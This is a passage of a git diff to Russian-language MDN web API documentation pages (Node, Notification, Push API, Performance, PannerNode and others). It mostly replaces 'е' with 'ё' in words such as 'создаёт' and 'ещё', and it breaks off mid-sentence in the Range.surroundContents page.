--git a/files/ru/web/api/node/replacechild/index.html b/files/ru/web/api/node/replacechild/index.html index c1959cc322..ae9a375735 100644 --- a/files/ru/web/api/node/replacechild/index.html +++ b/files/ru/web/api/node/replacechild/index.html @@ -14,34 +14,34 @@ original_slug: Web/API/Node.replaceChild <div> {{ApiRef}}</div> <h2 id="Summary" name="Summary">Аннотация</h2> -<p>Заменяет дочерний элемент на выбранный. Возвращает замененный элемент.</p> +<p>Заменяет дочерний элемент на выбранный. Возвращает заменённый элемент.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> <pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>); </pre> <ul> - <li><code>newChild</code> элемент на который будет заменен <code>oldChild</code>. В случает если он уже есть в DOM, то сначала он будет удален.</li> + <li><code>newChild</code> элемент на который будет заменён <code>oldChild</code>. В случает если он уже есть в DOM, то сначала он будет удален.</li> <li><code>oldChild</code> элемент который будет заменен.</li> - <li><code>replacedNode</code> замененный элемент. Тоже самое что и <code>oldChild</code>.</li> + <li><code>replacedNode</code> заменённый элемент. Тоже самое что и <code>oldChild</code>.</li> </ul> <h2 id="Example" name="Example">Пример</h2> <pre class="brush:js">// <div> // <span id="childSpan">foo bar</span> // </div> -// Создаем новый пустой элемент +// Создаём новый пустой элемент // without an ID, any attributes, or any content var sp1 = document.createElement("span"); // Присваиваем ему id 'newSpan' sp1.setAttribute("id", "newSpan"); -// Создаем строку. +// Создаём строку. var sp1_content = document.createTextNode("new replacement span element."); // Добавляем контент в созданный нами узел sp1.appendChild(sp1_content); -// создаем ссылку на существующий элемент который будем заменять +// создаём ссылку на существующий элемент который будем заменять var sp2 = document.getElementById("childSpan"); var parentDiv = sp2.parentNode; diff --git a/files/ru/web/api/node/textcontent/index.html b/files/ru/web/api/node/textcontent/index.html index 479fae01e3..7ee831edaf 100644 --- a/files/ru/web/api/node/textcontent/index.html +++ b/files/ru/web/api/node/textcontent/index.html @@ -33,7 +33,7 @@ element.textContent = "Это просто текст"; <h3 id="Отличие_от_innerText">Отличие от <code>innerText</code></h3> -<p><code>element.innerText</code> был введен Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:</p> +<p><code>element.innerText</code> был введён Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:</p> <ul> <li><code>textContent</code> получает содержимое <em>всех</em> элементов, включая {{HTMLElement("script")}} и {{HTMLElement("style")}}, тогда как <code>innerText</code> этого не делает.</li> @@ -50,7 +50,7 @@ element.textContent = "Это просто текст"; <pre class="brush: js">// Дан следующий фрагмент: // <div id="block">Это — <span>просто</span> текст</div> -// Достаем текстовое содержимое: +// Достаём текстовое содержимое: var text = document.getElementById("block").textContent; // В переменной |text| находится: "Это — просто текст". diff --git a/files/ru/web/api/nodelist/index.html b/files/ru/web/api/nodelist/index.html index 1e3bf20fff..d102e8c70e 100644 --- a/files/ru/web/api/nodelist/index.html +++ b/files/ru/web/api/nodelist/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/NodeList <div class="note"> <p>Несмотря на то, что <code>NodeList</code> не является массивом ( <code>Array</code> ), его вполне возможно перебрать при помощи метода forEach(). NodeList также можно конвертировать в <code>Array</code> при помощи {{jsxref("Array.from()")}}</p> -<p>Однако некоторые старые браузеры на данный момент все еще не поддерживают <code>NodeList.forEach()</code> или <code>Array.from()</code>. Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).</p> +<p>Однако некоторые старые браузеры на данный момент все ещё не поддерживают <code>NodeList.forEach()</code> или <code>Array.from()</code>. Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).</p> </div> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/notification/index.html b/files/ru/web/api/notification/index.html index 0ba6b0d4d1..2f520242d4 100644 --- a/files/ru/web/api/notification/index.html +++ b/files/ru/web/api/notification/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Notification <dl> <dt>{{domxref("Notification.Notification", "Notification()")}}</dt> - <dd>Создает новый экземпляр объекта <code>Notification</code>.</dd> + <dd>Создаёт новый экземпляр объекта <code>Notification</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -79,7 +79,7 @@ translation_of: Web/API/Notification <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt> <dd>Заголовок уведомления, указывается в опциях как параметр конструктора.</dd> <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt> - <dd>Задает шаблон вибрации для устройств с вибро.</dd> + <dd>Задаёт шаблон вибрации для устройств с вибро.</dd> </dl> <h4 id="Не_поддерживаемые_свойства">Не поддерживаемые свойства</h4> @@ -106,7 +106,7 @@ translation_of: Web/API/Notification <h4 id="Устаревшие_обработчики_событий">Устаревшие обработчики событий</h4> -<p>Следующие обработчики событий все еще поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.</p> +<p>Следующие обработчики событий все ещё поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.</p> <dl> <dt>{{domxref("Notification.onclose")}}</dt> @@ -153,21 +153,21 @@ translation_of: Web/API/Notification // Проверка разрешения на отправку уведомлений else if (Notification.permission === "granted") { - // Если разрешено, то создаем уведомление + // Если разрешено, то создаём уведомление var notification = new Notification("Hi there!"); } // В противном случае, запрашиваем разрешение else if (Notification.permission !== 'denied') { Notification.requestPermission(function (permission) { - // Если пользователь разрешил, то создаем уведомление + // Если пользователь разрешил, то создаём уведомление if (permission === "granted") { var notification = new Notification("Hi there!"); } }); } - // В конечном счете, если пользователь отказался от получения + // В конечном счёте, если пользователь отказался от получения // уведомлений, то стоит уважать его выбор и не беспокоить его // по этому поводу. }</pre> @@ -180,7 +180,7 @@ translation_of: Web/API/Notification console.log(result); });</code></pre> -<p>Затем мы запускаем простую функцию <code>spawnNotification()</code>, когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создает необходимый объект параметров <code>options</code> и запускает уведомление с помощью конструктора {{domxref("Notification.Notification","Notification()")}}.</p> +<p>Затем мы запускаем простую функцию <code>spawnNotification()</code>, когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создаёт необходимый объект параметров <code>options</code> и запускает уведомление с помощью конструктора {{domxref("Notification.Notification","Notification()")}}.</p> <pre class="brush: js"><code>function spawnNotification(body, icon, title) { var options = { diff --git a/files/ru/web/api/notifications_api/index.html b/files/ru/web/api/notifications_api/index.html index 5641358a8a..8fdc6b6de0 100644 --- a/files/ru/web/api/notifications_api/index.html +++ b/files/ru/web/api/notifications_api/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Notifications_API --- <p>{{DefaultAPISidebar("Web Notifications")}}</p> -<p class="summary">Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешел к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.</p> +<p class="summary">Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешёл к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.</p> <h2 id="Концепция_и_использование">Концепция и использование</h2> @@ -19,7 +19,7 @@ translation_of: Web/API/Notifications_API <p><strong>Заметка</strong>: Для Firefox 44, разрешения для Notifications и <a href="/en-US/docs/Web/API/Push_API">Push</a> объединяются. Если было установлено разрешение для уведомлений, push так же будут разрешены .</p> </div> -<p>Затем создается новое уведомление с помощью конструктора {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.</p> +<p>Затем создаётся новое уведомление с помощью конструктора {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.</p> <p>{{AvailableInWorkers}}</p> diff --git a/files/ru/web/api/page_visibility_api/index.html b/files/ru/web/api/page_visibility_api/index.html index 7cfb82fdba..3ac365ba5d 100644 --- a/files/ru/web/api/page_visibility_api/index.html +++ b/files/ru/web/api/page_visibility_api/index.html @@ -27,9 +27,9 @@ original_slug: Web/API/Видимость_страницы_API <p>Давайте рассмотрим несколько способов использования Page Visibility API.</p> <ul> - <li>На сайте есть слайдер изображений с автопрокруткой, которую можно поставить на паузу, когда пользователь перешел на другую вкладку</li> + <li>На сайте есть слайдер изображений с автопрокруткой, которую можно поставить на паузу, когда пользователь перешёл на другую вкладку</li> <li>Приложение выводит информацию в реальном времени, которую можно не обновлять, пока страница не видна, тем самым уменьшить количество запросов на сервер</li> - <li>Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчет количества просмотров</li> + <li>Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчёт количества просмотров</li> <li>Сайту нужно выключить звук, когда устройство в режиме ожидания (пользователь нажал кнопку включения, чтобы погасить экран)</li> </ul> diff --git a/files/ru/web/api/pannernode/index.html b/files/ru/web/api/pannernode/index.html index c8076f49df..a10a3c1eb4 100644 --- a/files/ru/web/api/pannernode/index.html +++ b/files/ru/web/api/pannernode/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/PannerNode <div><code>PannerNode</code> всегда имеет только один вход и один выход: вход может быть <em>моно</em> или <em>стерео</em>, но выход всегда <em>стерео</em> (2 канала); нельзя получить эффекты панорамирования при отсутствии, как минимум двух аудиоканалов!</div> </div> -<p><img alt="PannerNode задает положение в пространстве, скорость распространения и направленность данного сигнала." src="https://mdn.mozillademos.org/files/15375/PannerNode.png" style="height: 263px; margin-left: 20px; margin-right: 20px; width: 720px;"></p> +<p><img alt="PannerNode задаёт положение в пространстве, скорость распространения и направленность данного сигнала." src="https://mdn.mozillademos.org/files/15375/PannerNode.png" style="height: 263px; margin-left: 20px; margin-right: 20px; width: 720px;"></p> <table class="properties"> <tbody> @@ -28,7 +28,7 @@ translation_of: Web/API/PannerNode <td><code>1</code></td> </tr> <tr> - <th scope="row">Режим подсчета каналов</th> + <th scope="row">Режим подсчёта каналов</th> <td><code>"clamped-max"</code></td> </tr> <tr> @@ -50,7 +50,7 @@ translation_of: Web/API/PannerNode <div class="note_trans"> <div> <dl> - <dd>Создает новый экземпляр <code>PannerNode.</code></dd> + <dd>Создаёт новый экземпляр <code>PannerNode.</code></dd> </dl> </div> </div> @@ -73,7 +73,7 @@ translation_of: Web/API/PannerNode <dt>{{domxref("PannerNode.coneOuterAngle")}}</dt> <dd>Это значение типа <code> double</code>, представляющее угол конуса (в градусах), вне которого громкость звука будет уменьшена на постоянное значение, определяемое атрибутом <code>coneOuterGain.</code></dd> <dt>{{domxref("PannerNode.coneOuterGain")}}</dt> - <dd>Это значение типа <code>double</code>, представляющее величину снижения уровня громкости вне конуса, определенного атрибутом <code>coneOuterAngle</code>. Значение по умолчанию равно <code>0</code>, то есть, вне конуса звук не будет слышен.</dd> + <dd>Это значение типа <code>double</code>, представляющее величину снижения уровня громкости вне конуса, определённого атрибутом <code>coneOuterAngle</code>. Значение по умолчанию равно <code>0</code>, то есть, вне конуса звук не будет слышен.</dd> <dt>{{domxref("PannerNode.distanceModel")}}</dt> <dd>Перечислимое значение, определяющее, какой алгоритм будет использован для уменьшения громкости источника звука при удалении его от слушателя.</dd> <dt>{{domxref("PannerNode.maxDistance")}}</dt> @@ -83,15 +83,15 @@ translation_of: Web/API/PannerNode <dt>{{domxref("PannerNode.orientationY")}}</dt> <dd>Представляет вертикальное положение вектора источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.orientationZ")}}</dt> - <dd>Представляет продольную (вперед - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> + <dd>Представляет продольную (вперёд - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.panningModel")}}</dt> - <dd>Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трехмерном пространстве.</dd> + <dd>Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трёхмерном пространстве.</dd> <dt>{{domxref("PannerNode.positionX")}}</dt> <dd>Представляет горизонтальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.positionY")}}</dt> <dd>Представляет вертикальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.positionZ")}}</dt> - <dd>Представляет позицию источника звука вдоль оси Z (вперед и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> + <dd>Представляет позицию источника звука вдоль оси Z (вперёд и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.refDistance")}}</dt> <dd>Значение типа <code>double</code>, представляющее справочное (опорное) расстояние для уменьшения громкости при удалении источника звука от слушателя.</dd> <dt>{{domxref("PannerNode.rolloffFactor")}}</dt> @@ -119,7 +119,7 @@ translation_of: Web/API/PannerNode <dl> <dt>{{domxref("PannerNode.setVelocity()")}} {{obsolete_inline}}</dt> <dd>Это устаревший элемент API и его работа в дальнейшем не гарантируется.<br> - Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключенного потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была четко оговорена и имела ряд проблем, поэтому была удалена из спецификации.</dd> + Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключённого потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была чётко оговорена и имела ряд проблем, поэтому была удалена из спецификации.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/api/parentnode/prepend/index.html b/files/ru/web/api/parentnode/prepend/index.html index 709a620f85..40017ad44f 100644 --- a/files/ru/web/api/parentnode/prepend/index.html +++ b/files/ru/web/api/parentnode/prepend/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/ParentNode/prepend <dl> <dt><code>nodesToPrepend</code></dt> - <dd>Один или болле узлов, которые вставляются перед первым дочерним узлом в <code>ParentNode</code>. Каждый узел может быть определен либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.</dd> + <dd>Один или болле узлов, которые вставляются перед первым дочерним узлом в <code>ParentNode</code>. Каждый узел может быть определён либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/api/performance/index.html b/files/ru/web/api/performance/index.html index b8c2735644..bc721672b6 100644 --- a/files/ru/web/api/performance/index.html +++ b/files/ru/web/api/performance/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Performance <p>Объект этого типа может быть получен в результате вызова атрибута {{domxref("Window.performance")}}, доступного только для чтения.</p> <div class="note"> -<p><strong><em>Замечание</em>: </strong>Этот интерфейс и его составляющие доступны в <a href="/ru/docs/Web/API/Web_Workers_API">фоновых потоках выполнения</a>, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса еще не документированы (подробнее см. разделы документации <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> и <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a>). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то ее нельзя будет увидеть в другом фоновом потоке и наоборот.</p> +<p><strong><em>Замечание</em>: </strong>Этот интерфейс и его составляющие доступны в <a href="/ru/docs/Web/API/Web_Workers_API">фоновых потоках выполнения</a>, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса ещё не документированы (подробнее см. разделы документации <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> и <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a>). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то её нельзя будет увидеть в другом фоновом потоке и наоборот.</p> </div> <h2 id="Свойства">Свойства</h2> @@ -56,9 +56,9 @@ translation_of: Web/API/Performance <dt>{{domxref("Performance.getEntriesByType()")}}</dt> <dd>Возвращает список объектов {{domxref("PerformanceEntry")}} переданного, как аргумент, <em>типа записи</em>.</dd> <dt>{{domxref("Performance.mark()")}}</dt> - <dd>Создает {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в <em>буфере записей производительности.</em></dd> + <dd>Создаёт {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в <em>буфере записей производительности.</em></dd> <dt>{{domxref("Performance.measure()")}}</dt> - <dd>Создает именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определенными метками (известных как <em>start mark</em> (начальная метка) и <em>end mark </em>(конечная метка), соответственно).</dd> + <dd>Создаёт именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определёнными метками (известных как <em>start mark</em> (начальная метка) и <em>end mark </em>(конечная метка), соответственно).</dd> <dt>{{domxref("Performance.now()")}}</dt> <dd>Возвращает объект {{domxref("DOMHighResTimeStamp")}}, представляющий количество миллисекунд, прошедших с начала момента отсчета.</dd> <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt> diff --git a/files/ru/web/api/performance/now/index.html b/files/ru/web/api/performance/now/index.html index bf7359c969..3c0ae8630b 100644 --- a/files/ru/web/api/performance/now/index.html +++ b/files/ru/web/api/performance/now/index.html @@ -33,7 +33,7 @@ var t1 = performance.now(); console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.") </pre> -<p>В отличие от других временны́х типов данных, доступных в JavaScript (таких как <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), метки времени, возвращенные из <code>performance.now(),</code> не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.</p> +<p>В отличие от других временны́х типов данных, доступных в JavaScript (таких как <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), метки времени, возвращённые из <code>performance.now(),</code> не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.</p> <p>Также, в противоположность <code>Date.now</code>, значение, возвращаемое из <code>performance.now(), всегда возрастает с постоянной скоростью, независимо от системного времени </code>(которое может быть установлено вручную или изменено программами наподобие NTP).</p> diff --git a/files/ru/web/api/pointer_lock_api/index.html b/files/ru/web/api/pointer_lock_api/index.html index f02441f710..380e2b0888 100644 --- a/files/ru/web/api/pointer_lock_api/index.html +++ b/files/ru/web/api/pointer_lock_api/index.html @@ -3,11 +3,11 @@ title: Pointer Lock API slug: Web/API/Pointer_Lock_API translation_of: Web/API/Pointer_Lock_API --- -<p><span class="seoSummary"><strong>Pointer lock</strong> <strong>API</strong>(прежнее название Mouse Lock API) </span><span style="line-height: 1.5;">обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора </span><span style="line-height: 1.5;">в окне. Это дает вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу </span><span style="line-height: 1.5;">в окне браузера</span><span style="line-height: 1.5;">, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.</span></p> +<p><span class="seoSummary"><strong>Pointer lock</strong> <strong>API</strong>(прежнее название Mouse Lock API) </span><span style="line-height: 1.5;">обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора </span><span style="line-height: 1.5;">в окне. Это даёт вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу </span><span style="line-height: 1.5;">в окне браузера</span><span style="line-height: 1.5;">, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.</span></p> <p>Более того, API полезно для любых приложений, которые используют данные мыши для управления движениями, вращения объектов и изменения записей. Например пользователь может управлять наклоном просто двигая мышь, не нажимая ни на какие кнопки. Сами кнопки освобождаются под другие задачи. Примерами могут послужить программы для просмотра карт или спутниковой съемки.</p> -<p>Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушел за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперед, не боясь покинуть игровое поле и случайно переключится на другое приложение.</p> +<p>Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушёл за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперёд, не боясь покинуть игровое поле и случайно переключится на другое приложение.</p> <h2 id="basics" name="basics">Основные концепции</h2> diff --git a/files/ru/web/api/positionoptions/index.html b/files/ru/web/api/positionoptions/index.html index 9f0fb0b77d..e9d175035c 100644 --- a/files/ru/web/api/positionoptions/index.html +++ b/files/ru/web/api/positionoptions/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/PositionOptions <dl> <dt>{{domxref("PositionOptions.enableHighAccuracy")}}</dt> - <dd>{{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточненный результат. Если <code>true</code> и устройство поддерживает расширенный поиск локации, то он будет осуществлен. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если <code>false</code>, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: <code>false</code>.</dd> + <dd>{{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточнённый результат. Если <code>true</code> и устройство поддерживает расширенный поиск локации, то он будет осуществлён. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если <code>false</code>, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: <code>false</code>.</dd> <dt>{{domxref("PositionOptions.timeout")}}</dt> <dd>Положительное число в миллисекундах, устанавливающее время, за которое устройство должно вернуть результат. По умолчанию это значение <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, что значит, <code>getCurrentPosition()</code> будет работать до тех пор пока не определит положение устройства.</dd> <dt>{{domxref("PositionOptions.maximumAge")}}</dt> diff --git a/files/ru/web/api/push_api/index.html b/files/ru/web/api/push_api/index.html index 138ca1fb86..7fbf680b2b 100644 --- a/files/ru/web/api/push_api/index.html +++ b/files/ru/web/api/push_api/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Push_API --- <p>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</p> -<p><strong>Push API</strong> дает веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте</p> +<p><strong>Push API</strong> даёт веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте</p> <div class="note"> <p><strong>Примечание</strong>: Эта документация охватывает спецификацию W3C Push API ; если вы ищете документацию по запатентованной технологии Firefox OS , <a href="/en-US/docs/Web/API/Simple_Push_API">смотрите здесь</a>.</p> @@ -38,10 +38,10 @@ translation_of: Web/API/Push_API <p>Каждая подписка уникальна по отношению к service worker. Адрес для подписки это уникальный <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: все что нужно чтобы отослать сообщение вашему приложению это адрес. Однако это URL необходимо держать в секрете, иначе любое другое приложение сможет слать push уведомление к вашему приложению.</p> -<p>Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счет. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.</p> +<p>Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счёт. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.</p> <div class="note"> -<p><strong>Примечание: </strong><span id="result_box" lang="ru"><span>Начиная с Gecko 44, разрешенная квота push-</span></span>уведомлений<span lang="ru"><span> для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все еще должна отображаться в течение трех секунд.</span> <span>Это обрабатывает случаи, когда получены несколько Push </span></span>уведомлений подряд<span lang="ru"><span> и не все генерируют видимое уведомление.</span></span></p> +<p><strong>Примечание: </strong><span id="result_box" lang="ru"><span>Начиная с Gecko 44, разрешённая квота push-</span></span>уведомлений<span lang="ru"><span> для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все ещё должна отображаться в течение трёх секунд.</span> <span>Это обрабатывает случаи, когда получены несколько Push </span></span>уведомлений подряд<span lang="ru"><span> и не все генерируют видимое уведомление.</span></span></p> </div> <div class="note"> diff --git a/files/ru/web/api/pushmanager/subscribe/index.html b/files/ru/web/api/pushmanager/subscribe/index.html index a264d593d7..008a7438d8 100644 --- a/files/ru/web/api/pushmanager/subscribe/index.html +++ b/files/ru/web/api/pushmanager/subscribe/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/PushManager/subscribe <p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Метод </span></font><strong>subscribe()</strong></code> интерфейса {{domxref("PushManager")}} позволяет осуществлять подписку на push-уведомления.</p> -<p>Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создается в случае, если сервис-воркер не имеет существующей подписки.</p> +<p>Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создаётся в случае, если сервис-воркер не имеет существующей подписки.</p> <h2 id="Синтакс">Синтакс</h2> @@ -52,7 +52,7 @@ navigator.serviceWorker.register('serviceworker.js').then( // при помощи XMLHttpRequest.</code> }, function(error) { <code>// При разработке это часто помогает отлавливать ошибки в консоли. - // В продакшен-среде это также может быть полезно для отправки отчета + // В продакшен-среде это также может быть полезно для отправки отчёта // об ошибках на сервер приложения.</code> console.log(error); } diff --git a/files/ru/web/api/range/surroundcontents/index.html b/files/ru/web/api/range/surroundcontents/index.html index 5108735c19..863ef08fd7 100644 --- a/files/ru/web/api/range/surroundcontents/index.html +++ b/files/ru/web/api/range/surroundcontents/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Range/surroundContents <p>Этот метод приблизительно эквивалентен коду <code>newNode.appendChild(<a href="/en/DOM/range.extractContents" title="en/DOM/range.extractContents">range.extractContents()</a>); <a href="/en-US/docs/DOM/range.insertNode" title="/en-US/docs/DOM/range.insertNode">range.insertNode</a>(newNode)</code>. После его работы крайние точки диапазона будут включать в себя <code>newNode</code>.</p> -<p>Если {{ domxref("Range") }} разделяет любой не <a href="https://developer.mozilla.org/en-US/docs/Web/API/Text">текстовый</a> элемент хотя бы одной точкой, произойдет исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого 